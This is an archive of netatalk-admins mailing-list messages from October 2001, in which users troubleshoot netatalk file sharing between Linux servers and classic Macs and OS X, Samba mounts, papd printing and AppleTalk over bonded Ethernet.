Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA08226
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 12 Oct 2001 00:38:13 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id AAA28712
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 12 Oct 2001 00:38:13 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id AAA28694
	for netatalk.administrators-members@umich.edu; Fri, 12 Oct 2001 00:38:13 -0400 (EDT)
Received: from scriba.org (scriba.org [208.178.122.40])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id AAA28658
	for <netatalk-admins@umich.edu>; Fri, 12 Oct 2001 00:38:11 -0400 (EDT)
Received: (from root@localhost) by scriba.org (8.8.5/8.7.3) id AAA00300 for netatalk-admins@umich.edu; Fri, 12 Oct 2001 00:38:09 -0400
Message-Id: <200110120438.AAA00300@scriba.org>
Received: from [216.138.220.69:61466] by scriba.org with SLIME; Fri Oct 12 00:38:09 2001; From=leandro@capnasty.org ID=3632979013.1002861486.297.0 HELO=inverness.poseidonet.kook
From: "leandro asnaghi-nicastro" <leandro@capnasty.org>
Organization: Capital of Nasty Electronic Magazine
To: netatalk-admins@umich.edu
Date: Fri, 12 Oct 2001 00:38:03 -0400
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: subscribe
Priority: normal
X-mailer: Pegasus Mail for Win32 (v3.11)

subscribe

From netatalk.administrators-errors@umich.edu  Fri Oct 12 00:49:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA08602
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 12 Oct 2001 00:49:28 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id AAA17347
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 12 Oct 2001 00:49:28 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id AAA17327
	for netatalk.administrators-members@umich.edu; Fri, 12 Oct 2001 00:49:28 -0400 (EDT)
Received: from scriba.org (scriba.org [208.178.122.40])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id AAA17295
	for <netatalk-admins@umich.edu>; Fri, 12 Oct 2001 00:49:27 -0400 (EDT)
Received: (from root@localhost) by scriba.org (8.8.5/8.7.3) id AAA00415 for netatalk-admins@umich.edu; Fri, 12 Oct 2001 00:49:25 -0400
Message-Id: <200110120449.AAA00415@scriba.org>
Received: from [216.138.220.69:61472] by scriba.org with SLIME; Fri Oct 12 00:49:22 2001; From=leandro@capnasty.org ID=3632979013.1002862162.413.0 HELO=inverness.poseidonet.kook
From: "leandro asnaghi-nicastro" <leandro@capnasty.org>
Organization: Capital of Nasty Electronic Magazine
To: netatalk-admins@umich.edu
Date: Fri, 12 Oct 2001 00:49:19 -0400
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: Howdy.
Priority: normal
X-mailer: Pegasus Mail for Win32 (v3.11)

Hello, I'm new to netatalk and my apologies if this post is not 
appropriate.  From what I read on the webpage, this should be okay, 
but if it isn't, I'm sorry.

I installed netatalk on my Linux box (Slackware kernel 2.2.16) to 
see if I could setup a fileserver for my Macs (Classic SE and a 
Quadra 605 LC).   The machines run Mac OS 7.5.2. (It should be 
noted that the Classic is currently off due to some maintenance I 
am doing to it).

Now, I set up AppleTalk on the Macs, which, since they are using 
an old version of the OS, do not have AppleShare IP.  This would 
mean they use the Classic method.

Unfortunately, while I believe that I've done everything right on the 
Linux box, I still cannot see the shares on the Linux box (I can't see 
the server period, to be perfectly honest).

With a packet sniffer I can see that the Mac is broadcasting, and 
with a portscanner, I can see that the netatalk is working (the ports 
respond).

I'm sure I've done something incredibly stupid, like configuring the 
dameons wrong, but if someone could kick me in the right direction, 
I'd be very grateful.

Best.
leandro
---
leandro asnaghi-nicastro - editor in chief 
capital of nasty - http://www.capnasty.org 
leandro@capnasty.org - icq uin: 889318 
"My other signature is a Mercedes".

From netatalk.administrators-errors@umich.edu  Fri Oct 12 08:25:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA22522
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 12 Oct 2001 08:25:12 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA11933
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 12 Oct 2001 08:25:12 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA11918
	for netatalk.administrators-members@umich.edu; Fri, 12 Oct 2001 08:25:12 -0400 (EDT)
Received: from video1.avwashington.com (video1.avwashington.com [216.177.38.67])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA11772
	for <netatalk-admins@umich.edu>; Fri, 12 Oct 2001 08:25:07 -0400 (EDT)
Received: from crow.avwashington.com (crow.avwashington.com [192.168.0.6])
	by video1.avwashington.com (8.9.1a/8.9.1) with ESMTP id IAA01811
	for <netatalk-admins@umich.edu>; Fri, 12 Oct 2001 08:42:02 -0400
Date: Fri, 12 Oct 2001 08:09:20 -0400
From: Chip Mefford <cmefford@avwashington.com>
To: netatalk-admins@umich.edu
Subject: Re: okay, so what version should I use with 10.1?
Message-ID: <20011012080920.W22157@crow.avwashington.com>
References: <5.1.0.14.2.20011011232005.01d048e8@carme.affordablehost.com> <32242.1002837242@deepeddy.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In-Reply-To: <32242.1002837242@deepeddy.com>; from cwg-dated-d14a505e53521e62@deepeddy.com on Thu, Oct 11, 2001 at 17:54:02 -0400
X-Mailer: Balsa 1.2.pre1
Lines: 30

On 2001.10.11 17:54 Chris Garrigues wrote:
> > From:  mikko@fs.sorl.net
> > Date:  Thu, 11 Oct 2001 23:20:49 +0200
> >
> > If you use osX, why dont you use samba?
> 

I tried this, and just got extremely frustrated,
as has been my experience with 10.x


Under the users/username/Documents directory, I make
a "test" directory, 

ran mount, 

mount -t smbfs //sambaserver/sharename
/"path"/username/Documents/test

and logged in just fine.

Then I drilled to the test director with the finder, but
each time I tried to open any document, or use anything
on the mounted directory, I get prompted for a 
login, so I log in, and then I get a shortcut/alias on 
the desktop to the file, click on that, get prompted to
log in, I log in, get a shortcut/alias and so on and so
on. 

What would be the correct way to do this? 

From netatalk.administrators-errors@umich.edu  Fri Oct 12 09:20:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA24835
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 12 Oct 2001 09:20:15 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA29671
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 12 Oct 2001 09:20:15 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA29654
	for netatalk.administrators-members@umich.edu; Fri, 12 Oct 2001 09:20:14 -0400 (EDT)
Received: from smart.eusc.inter.net (smart.eusc.inter.net [213.73.101.5])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA29616
	for <netatalk-admins@umich.edu>; Fri, 12 Oct 2001 09:20:13 -0400 (EDT)
Received: from tc01-n70-075.de.inter.net ([213.73.70.75] helo=athlet.deltaman.de)
	by smart.eusc.inter.net with esmtp (Exim 3.22 #3)
	id 15s2EW-0005gL-00
	for netatalk-admins@umich.edu; Fri, 12 Oct 2001 15:20:12 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id PAA22896
	for <netatalk-admins@umich.edu>; Fri, 12 Oct 2001 15:19:37 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: Howdy.
Date: Fri, 12 Oct 2001 15:15:47 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <200110120449.AAA00415@scriba.org>
In-Reply-To: <200110120449.AAA00415@scriba.org>
MIME-Version: 1.0
Message-Id: <01101215193600.22857@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id JAA24835

On Fri, 12 Oct 2001, leandro asnaghi-nicastro wrote:
> Hello, I'm new to netatalk and my apologies if this post is not 
> appropriate.  From what I read on the webpage, this should be okay, 
> but if it isn't, I'm sorry.
> 
> I installed netatalk on my Linux box (Slackware kernel 2.2.16) to 
> see if I could setup a fileserver for my Macs (Classic SE and a 
> Quadra 605 LC).   The machines run Mac OS 7.5.2. (It should be 
> noted that the Classic is currently off due to some maintenance I 
> am doing to it).
> 
> Now, I set up AppleTalk on the Macs, which, since they are using 
> an old version of the OS, do not have AppleShare IP.  This would 
> mean they use the Classic method.
> 
> Unfortunately, while I believe that I've done everything right on the 
> Linux box, I still cannot see the shares on the Linux box (I can't see 
> the server period, to be perfectly honest).
> 
> With a packet sniffer I can see that the Mac is broadcasting, and 
> with a portscanner, I can see that the netatalk is working (the ports 
> respond).
> 
> I'm sure I've done something incredibly stupid, like configuring the 
> dameons wrong, but if someone could kick me in the right direction, 
> I'd be very grateful.
> 
> Best.
> leandro

What does nbplkup tell?
Can you see other AppleTalk nodes besides your Linux box?

Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Fri Oct 12 10:19:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA27415
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 12 Oct 2001 10:19:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA17290
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 12 Oct 2001 10:19:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA17269
	for netatalk.administrators-members@umich.edu; Fri, 12 Oct 2001 10:19:00 -0400 (EDT)
Received: from austin-jump.vircio.com (jump-austin.vircio.com [216.30.106.234])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA17220
	for <netatalk-admins@umich.edu>; Fri, 12 Oct 2001 10:18:59 -0400 (EDT)
Received: (qmail 10358 invoked by uid 104); 12 Oct 2001 14:18:57 -0000
Received: from cwg-dated-7fbe5e22f5516b8f@deepeddy.com by localhost.localdomain with qmail-scanner-0.90 (uvscan: v4.1.40/v4165. . Clean. Processed in 0.280038 secs); 12/10/2001 09:18:57
Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender <cwg-dated-7fbe5e22f5516b8f@deepeddy.com>)
          by easycomeeasygo.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 12 Oct 2001 14:18:56 -0000
Received: (qmail 26061 invoked by alias); 12 Oct 2001 14:18:56 -0000
From: "Chris Garrigues" <cwg-dated-7fbe5e22f5516b8f@deepeddy.com>
Received: (qmail 25990 invoked from network); 12 Oct 2001 14:18:54 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) (cwg@[10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <swanberg@tc.umn.edu@fixme>; 12 Oct 2001 14:18:54 -0000
X-Mailer: exmh version 2.5 01/15/2001 with nmh-1.0.4
To: Karen A Swanberg <swanberg@tc.umn.edu>
Cc: netatalk-admins@umich.edu
Subject: Re: okay, so what version should I use with 10.1? 
In-Reply-To: <Pine.SOL.4.20.0110111746210.27377-100000@garnet.tc.umn.edu> 
References: <Pine.SOL.4.20.0110111746210.27377-100000@garnet.tc.umn.edu>
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_-868836144P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Fri, 12 Oct 2001 09:18:54 -0500
Message-ID: <25986.1002896334@deepeddy.com>
Mail-Reply-To: cwg-dated-7fbe5e22f5516b8f@DeepEddy.Com

--==_Exmh_-868836144P
Content-Type: text/plain; charset=us-ascii

> From:  Karen A Swanberg <swanberg@tc.umn.edu>
> Date:  Thu, 11 Oct 2001 17:47:51 -0500 (CDT)
>
> Which linux are you using?
> 
redhat...more or less.
> 
>               * <---- Tribble   . <--- Tribble.tgz
> 
cute...
-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    The Greatest tragedy in mankind's entire history may be the
      hijacking of morality by religion.  However valuable -- even
      necessary -- that may have been in enforcing good behavior on
      primitive peoples, their association is now counterproductive.
      Yet at the very moment when they should be decoupled,
      sanctimonious nitwits are calling for a return to morals based
      on superstition.
				--- Arthur C. Clarke



--==_Exmh_-868836144P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE7xvvOK9b4h5R0IUIRAp8pAJwMuiza09WuITIxOv1a3gfpDC3xewCePfhz
0w0EUjonArAlfMwNxHG7UOk=
=pEf7
-----END PGP SIGNATURE-----

--==_Exmh_-868836144P--

From netatalk.administrators-errors@umich.edu  Fri Oct 12 10:49:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA28447
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 12 Oct 2001 10:49:44 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA04371
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 12 Oct 2001 10:49:44 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA04345
	for netatalk.administrators-members@umich.edu; Fri, 12 Oct 2001 10:49:43 -0400 (EDT)
Received: from smtp-out.mac.com ([204.179.120.85])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA04298
	for <netatalk-admins@umich.edu>; Fri, 12 Oct 2001 10:49:42 -0400 (EDT)
Received: from smtp-relay02.mac.com (smtp-relay02-qfe3 [10.13.10.225])
	by smtp-out.mac.com (8.10.2/8.10.2/1.0) with ESMTP id f9CEhOJ06576
	for <netatalk-admins@umich.edu>; Fri, 12 Oct 2001 07:43:24 -0700 (PDT)
Received: from asmtp02.mac.com ([10.13.10.66]) by
          smtp-relay02.mac.com (Netscape Messaging Server 4.15 relay02 Jun
          21 2001 23:53:48) with ESMTP id GL3L2Z00.AKH for
          <netatalk-admins@umich.edu>; Fri, 12 Oct 2001 07:47:23 -0700 
Received: from ws98982.corp.us.uu.net ([153.39.136.69]) by
          asmtp02.mac.com (Netscape Messaging Server 4.15 asmtp02 Jun 21
          2001 23:53:48) with ESMTP id GL3L2Z00.65M for
          <netatalk-admins@umich.edu>; Fri, 12 Oct 2001 07:47:23 -0700 
Date: Fri, 12 Oct 2001 10:47:02 -0400
Subject: Re: okay, so what version should I use with 10.1?
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v472)
From: David <zer0@mac.com>
To: netatalk-admins@umich.edu
Content-Transfer-Encoding: 7bit
In-Reply-To: <20011012080920.W22157@crow.avwashington.com>
Message-Id: <FF411112-BF1F-11D5-8B37-003065B455F8@mac.com>
X-Mailer: Apple Mail (2.472)

I second that, being frustrated.  Appleshare just seems to be the best file 
sharing system overall.  Samba is great as well, but it seems that 
Appleshare has better password encrytion available.  It is certainly better 
than NFS or SMB on MacOS(X or 9), both of which did not do well in OSX 10.
0.x or 10.1.

I get a kick out of the fact that Netatalk seems to be twice or more as 
fast as Apple's Appleshare on OSX.  :)

Just my $0.07.

David Shaub

On Friday, October 12, 2001, at 08:09 AM, Chip Mefford wrote:

> On 2001.10.11 17:54 Chris Garrigues wrote:
>>> From:  mikko@fs.sorl.net
>>> Date:  Thu, 11 Oct 2001 23:20:49 +0200
>>>
>>> If you use osX, why dont you use samba?
>>
>
> I tried this, and just got extremely frustrated,
> as has been my experience with 10.x
>
>
> Under the users/username/Documents directory, I make
> a "test" directory,
>
> ran mount,
>
> mount -t smbfs //sambaserver/sharename
> /"path"/username/Documents/test
>
> and logged in just fine.
>
> Then I drilled to the test director with the finder, but
> each time I tried to open any document, or use anything
> on the mounted directory, I get prompted for a
> login, so I log in, and then I get a shortcut/alias on
> the desktop to the file, click on that, get prompted to
> log in, I log in, get a shortcut/alias and so on and so
> on.
>
> What would be the correct way to do this?
>


From netatalk.administrators-errors@umich.edu  Fri Oct 12 11:55:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA01699
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 12 Oct 2001 11:55:47 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA17816
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 12 Oct 2001 11:55:47 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA17791
	for netatalk.administrators-members@umich.edu; Fri, 12 Oct 2001 11:55:46 -0400 (EDT)
Received: from la01mx02.la01.noc.myrient.net (ip-64-63-94-63.reverse.mobilenetics.com [64.63.94.63] (may be forged))
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA17737
	for <netatalk-admins@umich.edu>; Fri, 12 Oct 2001 11:55:44 -0400 (EDT)
Received: from [195.10.2.140] (ip-216-174-77-27.reverse.mobilenetics.com [216.174.77.27] (may be forged))
	by la01mx02.la01.noc.myrient.net (8.11.6/8.11.6) with ESMTP id f9CFjEi32505
	for <netatalk-admins@umich.edu>; Fri, 12 Oct 2001 08:45:14 -0700
Mime-Version: 1.0
X-Sender: gregghealy@mail.anet.net
Message-Id: <v04220802b7ecc20afde5@[195.10.2.140]>
Date: Fri, 12 Oct 2001 08:55:38 -0700
To: netatalk-admins@umich.edu
From: Gregg Healy <gregg@photoad.com>
Subject: Appletalk routing
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

I have an Appleshare IP server on the same Network as Netatalk, 
should I be using any special routing or? to make things work 
correctly or better?

Also I cannot get papd to print from the macs. It doesnt even start 
to write the file to the server before getting a PS error. What logs 
should I check and/or how do I figure out where this is going wrong?

Any help appreciated,

Gregg Healy
President

PhotoAd.com, Inc.
http://photoad.com
800 471-3737

From netatalk.administrators-errors@umich.edu  Fri Oct 12 12:24:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA03958
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 12 Oct 2001 12:24:53 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA16972
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 12 Oct 2001 12:24:53 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA16959
	for netatalk.administrators-members@umich.edu; Fri, 12 Oct 2001 12:24:52 -0400 (EDT)
Received: from jaka.ece.uiuc.edu (jaka.ece.uiuc.edu [128.174.113.136])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA16931
	for <netatalk-admins@umich.edu>; Fri, 12 Oct 2001 12:24:52 -0400 (EDT)
Received: (from stuckey@localhost)
	by jaka.ece.uiuc.edu (8.9.3/8.9.3) id LAA17933;
	Fri, 12 Oct 2001 11:24:48 -0500
Date: Fri, 12 Oct 2001 11:24:48 -0500
From: Tony Stuckey <stuckey@jaka.ece.uiuc.edu>
To: Gregg Healy <gregg@photoad.com>
Cc: netatalk-admins@umich.edu
Subject: Re: Appletalk routing
Message-ID: <20011012112448.A17795@jaka.ece.uiuc.edu>
References: <v04220802b7ecc20afde5@[195.10.2.140]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <v04220802b7ecc20afde5@[195.10.2.140]>

On Fri, Oct 12, 2001 at 08:55:38AM -0700, Gregg Healy wrote:
> I have an Appleshare IP server on the same Network as Netatalk, 
> should I be using any special routing or? to make things work 
> correctly or better?

	They should coexist peacefully.  Are you seeing any problems?

> Also I cannot get papd to print from the macs. It doesnt even start 
> to write the file to the server before getting a PS error. What logs 
> should I check and/or how do I figure out where this is going wrong?

	You may not want to use PAPD at all.
	MacOS since 8.1 (and with a separate installer for earlier
versions) has had the capability to print directly to an LPR protocol
device (Unix print daemon).

http://www.umich.edu/~rsug/netatalk/archive/admins/1999/0667.html
-- 
Anthony J. Stuckey                              stuckey@jaka.ece.uiuc.edu
"And they said work hard, and die suddenly, because it's fun."
	-Robyn Hitchcock.

From netatalk.administrators-errors@umich.edu  Fri Oct 12 14:48:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA10071
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 12 Oct 2001 14:48:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA29278
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 12 Oct 2001 14:48:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA29253
	for netatalk.administrators-members@umich.edu; Fri, 12 Oct 2001 14:48:18 -0400 (EDT)
Received: from hotmail.com (f134.pav1.hotmail.com [64.4.31.134])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA29220
	for <netatalk-admins@umich.edu>; Fri, 12 Oct 2001 14:48:17 -0400 (EDT)
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 12 Oct 2001 11:48:16 -0700
Received: from 66.124.119.18 by pv1fd.pav1.hotmail.msn.com with HTTP;
	Fri, 12 Oct 2001 18:48:16 GMT
X-Originating-IP: [66.124.119.18]
Reply-To: kevin@mullican.com
From: "Kevin Mullican" <kevinmullican@hotmail.com>
To: netatalk-admins@umich.edu
Subject: bonded ethernet
Date: Fri, 12 Oct 2001 11:48:16 -0700
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F134A1SzpduG0QwLkD200005f19@hotmail.com>
X-OriginalArrivalTime: 12 Oct 2001 18:48:16.0773 (UTC) FILETIME=[745A8B50:01C1534E]

Greetings all,

I apologize if this is a complete rehash, but I just joined the list.

I am attempting to integrate a new Linux machine into an existing Macintosh 
environment. All the Macs are G4s with OS 9.1 or 9.2. I have another Linux 
box acting as an appletalk router (assigning zones, etc) on the same 
network, and it is functioning properly. The physical topology is 2 separate 
macintosh networks (administrative and production) with the old Linux 
machine as the router. I want the new machine to participate in the 
appletalk network as a fileserver.

The new Linux machine is a dual PIII running a nearly generic install of 
RedHat 7.1 with a 2.4.3-12 smp kernel and netatalk-1.5pre2-6. Installed are 
2 3com 3c996 Gigabit ethernet adapters in the machine, which are actually 
Broadcom 5700 chipsets. Linux will only run the bcm5700 module as a kernel 
loadable module. When configured as individual adapters, appletalk performs 
fine. When I bond the two adapters together, appletalk fails to properly 
configure the newly bonded interface. Otherwise, the bonded interface is 
working properly. Although I can attach to the server as an IP client, NBP 
is not working. Also, I am unable to resolve any Zone information on the 
bonded port. My best guess is a multicasting problem. I know ZIP info is on 
an odd broadcast address, and I am assuming it is not properly implemented 
in the bonding driver.

Before I started hacking, I wanted to see if anyone else had run into this 
problem.

Thanks,
Kevin Mullican
The Mullican Group
mailto:kevin@mullican.com

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp


From netatalk.administrators-errors@umich.edu  Fri Oct 12 15:13:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA11218
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 12 Oct 2001 15:13:28 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA01912
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 12 Oct 2001 15:13:28 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA01899
	for netatalk.administrators-members@umich.edu; Fri, 12 Oct 2001 15:13:27 -0400 (EDT)
Received: from peterson.umci.com ([65.106.31.130])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA01849
	for <netatalk-admins@umich.edu>; Fri, 12 Oct 2001 15:13:26 -0400 (EDT)
Received: by peterson.umci.com with Internet Mail Service (5.5.2448.0)
	id <TYQBLS61>; Fri, 12 Oct 2001 12:13:33 -0700
Message-ID: <F101D6F85C61D311B63D0050DA0EFDE18C8EC8@peterson.umci.com>
From: Chris Bondelid <cbond@umci.com>
To: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: RE: bonded ethernet
Date: Fri, 12 Oct 2001 12:13:32 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="windows-1252"

What interface do you get with the resultant bond?  eth0 or bond0?  You're
starting netatalk after the interfaces are bonded I take it.

mmm, fastgigachannel...  : )

You might need to specify in atalkd.conf your new bond interface instead of
letting netatalk detect it automagically is the first thing that comes to
mind.

Are you running AppleTalk and IP at the same time?  My 9.1 clients browse
via AT and connect via IP with no trouble.  What does nbplkup result in?
Make sure atalk module is loaded or compiled into your kernel.


Chris

SysAdmin
University Mechanical

-----Original Message-----
From: Kevin Mullican [mailto:kevinmullican@hotmail.com]
Sent: Friday, October 12, 2001 11:48 AM
To: 	
Subject: bonded ethernet


Greetings all,

I apologize if this is a complete rehash, but I just joined the list.

I am attempting to integrate a new Linux machine into an existing Macintosh 
environment. All the Macs are G4s with OS 9.1 or 9.2. I have another Linux 
box acting as an appletalk router (assigning zones, etc) on the same 
network, and it is functioning properly. The physical topology is 2 separate

macintosh networks (administrative and production) with the old Linux 
machine as the router. I want the new machine to participate in the 
appletalk network as a fileserver.

The new Linux machine is a dual PIII running a nearly generic install of 
RedHat 7.1 with a 2.4.3-12 smp kernel and netatalk-1.5pre2-6. Installed are 
2 3com 3c996 Gigabit ethernet adapters in the machine, which are actually 
Broadcom 5700 chipsets. Linux will only run the bcm5700 module as a kernel 
loadable module. When configured as individual adapters, appletalk performs 
fine. When I bond the two adapters together, appletalk fails to properly 
configure the newly bonded interface. Otherwise, the bonded interface is 
working properly. Although I can attach to the server as an IP client, NBP 
is not working. Also, I am unable to resolve any Zone information on the 
bonded port. My best guess is a multicasting problem. I know ZIP info is on 
an odd broadcast address, and I am assuming it is not properly implemented 
in the bonding driver.

Before I started hacking, I wanted to see if anyone else had run into this 
problem.

Thanks,
Kevin Mullican
The Mullican Group
mailto:kevin@mullican.com

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp

From netatalk.administrators-errors@umich.edu  Fri Oct 12 15:40:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
